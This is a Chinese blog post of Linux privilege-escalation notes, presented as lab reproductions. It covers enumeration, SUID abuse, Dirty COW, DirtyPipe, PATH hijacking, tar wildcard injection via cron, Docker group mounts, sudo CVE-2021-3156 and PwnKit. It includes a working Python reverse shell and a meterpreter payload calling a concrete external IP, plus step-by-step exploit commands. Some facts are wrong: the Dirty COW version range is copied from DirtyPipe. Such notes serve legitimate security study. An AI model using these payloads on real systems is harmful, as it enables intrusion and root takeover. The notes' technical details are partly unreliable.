linux提权【笔记总结】

文章目录

  • 信息收集
    • 通过命令收集信息
      • 内核,操作系统,设备信息等
      • 用户信息
      • 环境信息
      • 进程与服务
      • 安装的软件
      • 服务与插件
      • 计划任务
      • 查看是否存在明文密码
      • 查看与主机的通信信息
      • 查看日志信息
    • 通过脚本收集信息
      • LinEnum脚本
          • 介绍
          • 复现
      • Linuxprivchecker
          • 复现
      • linux-exploit-suggester
      • linux-exploit-suggester-2
          • 复现
  • SUID提权
      • SUID介绍
      • 查找具有SUID权限的程序
      • 复现
  • 内核提权
    • 脏牛提权
      • 介绍
      • 影响版本
      • 复现
    • DirtyPipe提权
      • 介绍
      • 影响版本
      • 复现
          • 法一
          • 法二
  • 环境变量提权
      • 介绍
      • 复现
          • 环境搭建
          • 利用
  • 定时备份任务提权
      • 介绍
      • 复现
  • 数据库提权
      • 自动化提权
          • Multiple工具
            • 复现
  • Rsync未授权本地覆盖
      • 介绍
      • 复现
  • Docker组挂载
      • 介绍
      • 复现
  • Sudo提权
      • 介绍
      • 影响版本
      • 复现
  • Polkit漏洞提权
      • 介绍
      • 复现

信息收集

  1. 通过命令收集信息

    1. 内核,操作系统,设备信息等

      1. 打印所有可用的系统信息,uname -a

      2. 打印内核信息,cat /proc/version

      3. 打印分发信息,cat /proc/version

      4. 打印CPU信息,cat /proc/cpuinfo

    2. 用户信息

      1. 列出系统上所有用户,cat /etc/passwd

      2. 查看所有组,cat /etc/group

      3. 列出所有超级用户,grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'

      4. 列出用户上次登陆情况,lastlog

      5. 查看当前谁在登录,在做什么,w

    3. 环境信息

      1. 显示环境变量,env

      2. 显示可用的shell, cat /etc/shells

    4. 进程与服务

      1. 显示端口号与服务,cat /etc/services

      2. 动态地监视系统的进程和资源使用情况,top

      3. 显示当前系统中所有运行中的进程的详细信息,ps aux

    5. 安装的软件

      1.  ls -alh /usr/bin/ls -alh /sbin/ls -alh /var/cache/yum/dpkg -l
        
    6. 服务与插件

      1.  cat /etc/syslog.confcat /etc/chttp.confcat /etc/lighttpd.confcat /etc/cups/cupsd.confcat /etc/inetd.confcat /etc/apache2/apache2.confcat /etc/my.confcat /etc/httpd/conf/httpd.confcat /opt/lampp/etc/httpd.confls -aRl /etc/ | awk '$1 ~ /^.*r.*/
        
    7. 计划任务

      1.  crontab -lls -alh /var/spool/cronls -al /etc/ | grep cronls -al /etc/cron*cat /etc/cron*cat /etc/at.allowcat /etc/at.denycat /etc/cron.allowcat /etc/cron.denycat /etc/crontabcat /etc/anacrontabcat /var/spool/cron/crontabs/root
        
    8. 查看是否存在明文密码

      1.  grep -i user [filename]grep -i pass [filename]grep -C 5 "password" [filename]find , -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
        
    9. 查看与主机的通信信息

      1.  lsof -ilsof -i :80grep 80 /etc/servicesnetstat -anptlnetstat -antupnetstat -antpxnetstat -tulpnchkconfig --listchkconfig --list | grep 3:onlastw
        
    10. 查看日志信息

      1.  cat /var/log/boot.logcat /var/log/croncat /var/log/syslogcat /var/log/wtmpcat /var/run/utmpcat /etc/httpd/logs/access_logcat /etc/httpd/logs/access.logcat /etc/httpd/logs/error_logcat /etc/httpd/logs/error.logcat /var/log/apache2/access_logcat /var/log/apache2/access.logcat /var/log/apache2/error_logcat /var/log/apache2/error.logcat /var/log/apache/access_logcat /var/log/apache/access.logcat /var/log/auth.logcat /var/log/chttp.logcat /var/log/cups/error_logcat /var/log/dpkg.logcat /var/log/faillogcat /var/log/httpd/access_logcat /var/log/httpd/access.logcat /var/log/httpd/error_logcat /var/log/httpd/error.logcat /var/log/lastlogcat /var/log/lighttpd/access.logcat /var/log/lighttpd/error.logcat /var/log/lighttpd/lighttpd.access.logcat /var/log/lighttpd/lighttpd.error.logcat /var/log/messagescat /var/log/securecat /var/log/syslogcat /var/log/wtmpcat /var/log/xferlogcat /var/log/yum.logcat /var/run/utmpcat /var/webmin/miniserv.logcat /var/www/logs/access_logcat /var/www/logs/access.logls -alh /var/lib/dhcp3/ls -alh /var/log/postgresql/ls -alh /var/log/proftpd/ls -alh /var/log/samba/Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
        
  2. 通过脚本收集信息

    1. LinEnum脚本

      1. 介绍
        1. Linux枚举及权限提升检查工具,该工具除了RCE无法收集,其它的信息都能收集,主要收集:内核、发行版本、系统信息、用户信息、特权访问、环境、作业、任务、服务、web服务的版本、默认/弱口令、搜索等
        2. 下载地址:LinEnum
      2. 复现
        1. 靶场:已获得普通用户权限,ubantu系统
        2. 首先在/tmp上传脚本,因为该目录可读可写
        3. 赋予脚本执行权限,chmod +x LinEnum.sh
        4. 执行脚本,./LinEnum.sh
    2. Linuxprivchecker

      1. 复现
        1. 将脚本上传上去之后直接执行即可,python linuxprivchecker.py
    3. linux-exploit-suggester

      1. 上传至/tmp目录之后赋予权限执行他即可

        1.  chmod +x linux-exploit-suggester.sh  ##添加执行权限./linux-exploit-suggester.sh   ##执行脚本
          
      2. 将对应脚本下载下来

      3. 编译脚本

        1.  gcc 41458.c -o 41458   ##前面15150.c是文件,后面的是自定义的编译后文件名称
          
      4. 执行脚本,./41458

    4. linux-exploit-suggester-2

      1. 复现
        1. 上传脚本,赋予脚本权限,执行脚本

          1.  chmod +x linux-exploit-suggester-2.pl  ##添加执行权限./linux-exploit-suggester-2.pl  ##运行脚本
            
        2. 根据漏洞信息,利用方式与上述一下

SUID提权

  1. SUID介绍

     * **SUID(Set User ID)**  是一个特殊的权限位,当设置在可执行文件上时,无论谁运行该文件,该文件都会以文件所有者的身份运行。* 这意味着如果一个可执行文件的所有者是 `root`,并且该文件被设置了 SUID 位,那么无论任何用户运行这个文件,程序都将拥有 `root` 用户的权限。
    
  2. 查找具有SUID权限的程序

    1.  find / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} ;find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null-perm 指定权限-u=s 表示SUID权限-type 指定文件类型f 表示常规文件,而不是目录或特殊文件2 表示该进程的第二个文件描述符,即stderr(标准错误)/dev/null 是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
      
    2. 常见的存在提权的命令汇总

      1. CTFOBins

        SUID提权参考

  3. 复现

    1. 靶场:使用chmod u+s /usr/bin/find命令给find加上SUID权限,ubantu系统

    2. 使用find / -perm -u=s -type f 2>/dev/null命令查看到系统存在find命令的SUID

    3. 直接使用find 41458.c -exec whoami \;命令执行即为root命令执行

    4. 反弹shell,如果直接用nc进行弹shell的话,就会发现还是普通用户,所以我们需要借助python的命令来弹shell、

      1.  find 41458.c -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("43.139.186.80",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' \;
        
    5. 也可以通过msf进行webshell

      1. 生成木马,msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=43.139.186.80 LPORT=5566 -f elf > cong.elf

      2. 设置5566端口监听

      3. 上传木马,给予权限并运行木马

        1.  find 41458.c -exec chmod +x cong.elf \;find 41458.c -exec ./cong.elf \;
          

内核提权

  1. 脏牛提权

    1. 介绍

      1. 脏牛(Dirty COW,COW代表 Copy-On-Write)是一个在Linux内核中发现的安全漏洞,正式的漏洞编号为 CVE-2016-5195。它是一个关于内存管理的竞态条件漏洞,可以允许本地用户获得对只读内存的写入权限,从而实现提升权限。这个漏洞被发现影响了自1998年以来几乎所有版本的Linux内核。
    2. 影响版本

      1. Linux Kernel版本 >= 5.8
      2. Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
    3. 复现

      1. EXP下载:脏牛EXP

      2. 将exp上传至服务器

      3. 编译exp的c文件,gcc -pthread dirty.c -o dirty -lcrypt

      4. 执行exp,./dirty 123456,成功了就会出现firefart用户,密码为123456,我这里不知道为什么显示是成功的,实际上没有

  2. DirtyPipe提权

    1. 介绍

      1. DirtyPipe 是一个在 Linux 内核中发现的严重安全漏洞,具体编号为 CVE-2022-0847。这个漏洞影响了 Linux 内核版本 5.8 及以上,直到被发现并修复前。它允许本地用户利用一个错误,通过管道(pipe)操作来覆盖只读文件的内容,包括系统文件。这种能力使得普通用户可以修改原本只有系统管理员才能访问的文件,从而获取更高的系统权限或执行未授权的代码,导致潜在的安全风险和数据泄露。这个漏洞因其涉及的管道(pipe)操作和数据覆盖的特点而得名“DirtyPipe”。
    2. 影响版本

      1. Linux Kernel版本 >= 5.8
      2. Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
    3. 复现

      1. EXP下载:DirtyPipe

      2. 法一
        1. 上传EXP,赋予权限,运行EXP

          1.  chmod +x Dirty-Pipe.shbash Dirty-Pipe.sh
            
      3. 法二
        1. 直接执行以下命令

          1.  gcc -o dirtypipez dirtypipez.c./dirtypipez /usr/bin/su
            

环境变量提权

  1. 介绍

    1. 原理就是原本有一个sh文件可以执行ps命令并且被赋予SUID权限,那么使用者调用这个文件时的权限即为root,就是说使用者用root权限来调用ps命令,这就是导致漏洞的根本原因,攻击者只需要将ps命令的路径优先级换成恶意的bash路径,那么服务器就会使用root权限去执行bash了从而获取到root权限
  2. 复现

    1. 环境搭建
      1. 在/tmp(这个目录通常可读可写)目录下创建shell.c文件,写以下内容

        1.  #include <stdlib.h>int main() {system("ps");return 0;}
          
      2. 编译shell.c文件,gcc shell.c -o shell

      3. 赋予其SUID权限让普通用户也可以执行,chmod u+s shell

    2. 利用
      1. 当用户执行shell文件时,他会在这里的环境变量中一个一个寻找是否存在ps文件,跟执行/bin/ps命令原理一样

      2. 所以我们只要将恶意的bash路径放在放在前面并命名为ps,cp /bin/bash /tmp/ps

      3. 改变环境变量的优先级,export PATH=/tmp:$PATH

      4. 执行脚本即可

定时备份任务提权

  1. 介绍

    1. 定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录
    2. 提权的前提是存在一个执行危险脚本的任务计划,并且这个任务计划执行的执行脚本可以被非root权限用户修改覆盖,并可以正常执行任务计划
  2. 复现

    1. 靶场搭建

      1. 假设我们需要打包备份13目录下的文件,那我们就在/tmp目录下创建cong.sh文件,在里面写入打包的命令,cd /tmp/123;tar -zcf /tmp/bf.tar.gz *

      2. 给备份脚本执行权限,chmod +x cong.sh

      3. 编辑计时任务,写入计时计划来定时执行cong.sh文件进行备份

        1.  vi /etc/crontab   ##编辑定时任务* * * * * root /tmp/bf.sh  ##创建定时任务cat /etc/crontab   ##查看定时任务
          
    2. 利用

      1. 查看下定时任务,cat /etc/crontab

      2. 直接执行以下命令

        1.  echo "" > --checkpoint=1   echo "" > "--checkpoint-action=exec=sh test.sh"   ##执行test.sh文件echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > test.sh  ##将/bin/bash复制到/tmp下,并提权SUID权限,同时将命令写入到test.sh脚本中chmod +x test.sh  ##赋予执行权限
          
      3. 直接执行./bash -p命令,成功提权

数据库提权

  1. 自动化提权

    1. Multiple工具
      1. 下载地址

        1. MDUT
      2. 复现
        1. 先打开工具,java -jar 工具名

        2. 靶场搭建

          1. 首先搭建个pikachu

          2. vi /etc/my.cnf修改配置,在[mysqld]加入secure-file-priv = NULL

          3. 重启sql服务,sudo systemctl restart mysqld

          4. 检查是否设置,show global variables like '%secure%';

        3. 如果我们直接连接肯定是不行的,因为这是本地数据库,我们需要进行内网穿透,用冰蝎的内网穿透来将3306的端口转发到2222端口出来

        4. 数据库有点复杂,靶场又没有,先不复现,大概就是用哪个工具连接端口2222即可,然后一直用鼠标点就行了,这个工具win和linux系统都行

Rsync未授权本地覆盖

  1. 介绍

    1. Rsync是一种广泛使用的文件同步和文件传输工具,它能够有效地同步远程和本地系统之间的文件。然而,当Rsync配置不当时,可能会引起严重的安全问题,比如“Rsync未授权本地覆盖”。这种情况通常发生在Rsync服务器对外开放,且未正确设置访问控制和认证机制时。未经授权的用户可以利用这个漏洞,通过Rsync向目标系统上传或修改文件,甚至可能覆盖关键文件,从而控制或破坏系统。因此,确保适当的安全配置,如设置访问权限列表、使用SSH为传输加密等,是非常重要的。
  2. 复现

    1. ((20240812233025-1v91wyl ‘未授权访问’))

Docker组挂载

  1. 介绍

    1. 利用docker服务启动镜像挂载目录,从而来访问root目录、etc目录等敏感文件来进行权限提升。虽然可以用docker执行任意命令,但是这个在docker组的用户已经在sudoders文件里的
    2. 前提条件:已获取本地普通用户权限,且普通用户在docker组中。
  2. 复现

    1. 直接使用docker run -v /root:/mnt -it alpine命令即可

Sudo提权

  1. 介绍

    1. sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156),可导致本地权限提升。

            当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行
      

      命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。

  2. 影响版本

    1. sudo: 1.8.2 - 1.8.31p2
    2. sudo: 1.9.0 - 1.9.5p1
  3. 复现

    1. 脚本链接:blasty/CVE-2021-3156 (github.com)

    2. 查看sudo版本是否存在漏洞,sudo --version

    3. 执行sudoedit -s /存在报错则存在漏洞

    4. 下载脚本在/tmp目录下,git clone https://github.com/blasty/CVE-2021-3156.git

    5. 进入项目,cd CVE-2021-3156

    6. 编译项目,make

    7. 赋予执行权限,chmod a+x sudo-hax-me-a-sandwich

    8. 执行./sudo-hax-me-a-sandwich命令,获取脚本编号

    9. 使用uname -a获取靶机系统信息

    10. 将脚本编号与靶机的系统信息选择对应的编号,./sudo-hax-me-a-sandwich 2

    11. 执行成功之后即可获取root权限

Polkit漏洞提权

  1. 介绍

    1. 漏洞影响2009年5月至今的所有polkit版本。
    2. 由于polkit是系统预装工具,所有存在polkit的linux系统均受影响。如:CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等
  2. 复现

    1. 使用dpkg -l policykit-1命令,命令存在则可能存在漏洞

    2. 在tmp目录下将项目下载下来,git clone https://github.com/berdav/CVE-2021-4034.git

    3. 进入项目,cd CVE-2021-4034

    4. 编译项目,make

    5. 运行项目,./cve-2021-4034

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/448568.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

POMO:强化学习的多个最优策略优化(2020)(完)

文章目录 Abstract1 Introduction2 Related work3 Motivation4 多最优策略优化(POMO)4.1 从多个起始节点进行探索4.2 策略梯度的共享基线4.3 用于推理的多个贪婪轨迹5 Experiments5.1 Traveling salesman problem5.2 带容量限制得车辆路径问题5.3 0-1背包问题6 ConclusionAbs…

题目:小金鱼吐泡泡

解题思路&#xff1a; 用栈模拟&#xff0c;创建2个栈&#xff0c;a&#xff1a;字符串的栈&#xff0c;栈顶为s末尾&#xff1b;q&#xff1a;答案栈&#xff0c;与a顶元素互动做相应操作。 陷入的误区&#xff1a;认为可以两个方向可以随意消&#xff0c;但不同方向消得到的结…

AIGC时代 | 揭秘大型语言模型微调:11种高效方法助力模型升级

导读&#xff1a;大型预训练模型是一种在大规模语料库上预先训练的深度学习模型&#xff0c;它们可以通过在大量无标注数据上进行训练来学习通用语言表示&#xff0c;并在各种下游任务中进行微调和迁移。随着模型参数规模的扩大&#xff0c;微调和推理阶段的资源消耗也在增加。…

【H2O2|全栈】JS入门知识(二)

目录 JS 前言 准备工作 运算符 算数运算符 比较运算符 自增、自减运算符 逻辑运算符 运算符的优先级 分支语句 if-else语句 switch语句 三元表达式 结束语 JS 前言 本系列博客主要分享JavaScript的基础语法知识&#xff0c;本期为第二期&#xff0c;包含一些简…

c++应用网络编程之十一Linux下的epoll模式基础

一、epoll模式 在前面分析了select和poll两种IO多路复用的模式&#xff0c;但总体给人的感觉有一种力不从心的感觉。尤其是刚刚接触底层网络开发的程序员&#xff0c;被很多双十一千万并发&#xff0c;游戏百万并发等等已经给唬的一楞一楞的。一听说只支持一两千个并发&#x…

阿里Dataworks使用循环节点和赋值节点完成对mongodb分表数据同步

背景 需求将MongoDB数据入仓MaxCompute 环境说明 MongoDB 100个Collections&#xff1a;orders_1、orders_2、…、orders_100 前期准备 1、MongoDB数据源配置 需要先保证DW和MongoDB网络是能够联通的&#xff0c;需要现在集成任务中配置MongoDB的数据源信息。 具体可以查…

Python OpenCV精讲系列 - 三维重建深入理解(十七)

&#x1f496;&#x1f496;⚡️⚡️专栏&#xff1a;Python OpenCV精讲⚡️⚡️&#x1f496;&#x1f496; 本专栏聚焦于Python结合OpenCV库进行计算机视觉开发的专业教程。通过系统化的课程设计&#xff0c;从基础概念入手&#xff0c;逐步深入到图像处理、特征检测、物体识…

AD9361 在低至 1MHz 的频率下运行

AD9361 在低至 1MHz 的频率下运行 AD -FREQCVT1-EBZ是包含AD9361的FMCOMMS3/4/5板的附加板。虽然完整的芯片级设计包可在此 RF 收发器的ADI产品页面上找到&#xff0c;但有关此卡的信息及其使用方法、围绕它的设计包以及可使其工作的软件可在此处找到。 AD-FREQCVT1-EBZ 模块…

无人机之放电速率篇

无人机的放电速率是指电池在一定时间内放出其储存电能的能力&#xff0c;这一参数对无人机的飞行时间、性能以及安全性都有重要影响。 一、放电速率的表示方法 放电速率通常用C数来表示。C数越大&#xff0c;表示放电速率越快。例如&#xff0c;一个2C的电池可以在1/2小时内放…

储能电源自动化测试系统中不同硬件电路设计对测试结果有哪些影响?-纳米软件

随着能源领域的不断发展&#xff0c;储能电源在各个领域的应用越来越广泛。为了确保储能电源的性能和可靠性&#xff0c;自动化测试系统的重要性日益凸显。其中&#xff0c;硬件电路设计是自动化测试系统的关键组成部分&#xff0c;不同的硬件电路设计会对测试结果产生不同的影…

程序报错:ModuleNotFoundError: No module named ‘code.utils‘; ‘code‘ is not a package

程序报错内容&#xff1a; Traceback (most recent call last): File "code/nli_inference/veracity_prediction.py", line 10, in <module> from code.utils.data_loader import read_json ModuleNotFoundError: No module named code.utils; code is …

Linux运维_Apache更改默认网站目录

1.首先创建目录 并且在目录下新建测试文件 index.html mkdir -p /home/test/ap_web 直接wget 百度官网 wget www.baidu.com 2.编辑配置文件 /etc/apache2/sites-available/000-default.conf(找到 DocumentRoot)更改为刚刚创建的目录 接着在添加 最终文件: 3.给文件 添加属…

面试题:Redis(五)

1. 面试题 面试问 记录对集合中的数据进行统计 在移动应用中&#xff0c;需要统计每天的新增用户数和第2天的留存用户数&#xff1b; 在电商网站的商品评论中&#xff0c;需要统计评论列表中的最新评论&#xff1b; 在签到打卡中&#xff0c;需要统计一个月内连续打卡的用户数&…

【AI大模型】羊驼大模型详解_零基础入门到精通,看完这篇就足够了~

LLaMa系列模型 羊驼模型&#xff08;鼻祖是LLaMa模型&#xff0c;Facebook公司开源模型&#xff09;&#xff1a;即将成为大模型的安卓&#xff0c;国内95%的大模型都是羊驼套壳。GPT系列&#xff08;OpenAI公司&#xff09;&#xff1a;相当于大模型的iOS&#xff08;不开源&…

鸿蒙OS启动流程

启动流程(基于openharmony4.1) 系统上电加载内核后&#xff0c;按照以下流程完成系统各个服务和应用的启动&#xff1a; 内核加载init进程&#xff0c;一般在bootloader启动内核时通过设置内核的cmdline来指定init的位置。init进程启动后&#xff0c;会挂载tmpfs&#xff0c;…

JavaSE——泛型

目录 一、泛型的引入 二、泛型的好处 三、泛型介绍 四、泛型的语法 (一)泛型的声明 (二)泛型的实例化 五、泛型使用的注意事项和细节 六、泛型练习题1 七、自定义泛型 (一)自定义泛型类 (二)自定义泛型接口 (三)自定义泛型方法 八、泛型练习题2 九、泛型的继承和…

moe2024新生赛--pwn篇

moe2024新生赛–pwn篇 也算是复健吧。。 文章目录 moe2024新生赛--pwn篇**1 二进制漏洞审计入门指北**2 NotEnoughTime3 no_more_gets4 leak_sth5 ez_shellcode6 这是什么&#xff1f;libc7 这是什么&#xff1f;shellcode8 这是什么&#xff1f;random9 flag_helper10 这是什么…

PCB缺陷检测数据集 xml 可转yolo格式 ,共10688张图片

PCB缺陷检测数据集&#xff08;yolov5,v7,v8&#xff09; 数据集总共有两个文件夹&#xff0c;一个是pcb整体标注&#xff0c;一个是pcb部分截图。 整体标注有6个分类&#xff0c;开路&#xff0c;短路等都已经标注&#xff0c;标注格式为xml&#xff0c;每个文件夹下有100多张…

bp intruder 四种攻击类型 记录

1. Sniper 攻击&#xff08;狙击手模式&#xff09; 特点&#xff1a; Sniper 攻击是最基础的一种攻击类型&#xff0c;适用于单参数的简单测试。它会逐一替换每一个 payload 插入点&#xff0c;其他位置保持不变&#xff0c;从而测试单个参数对应用的影响。 工作流程&#…

Java-IO流使用场景

Java IO 流是Java编程中非常重要的组成部分,用于处理文件读写、网络通信等数据传输任务。 1. 字节流 1.1 读取文件 import java.io.FileInputStream; import java.io.IOException;public class ReadFileExample {public static void main(String[] args) {try (FileInputSt…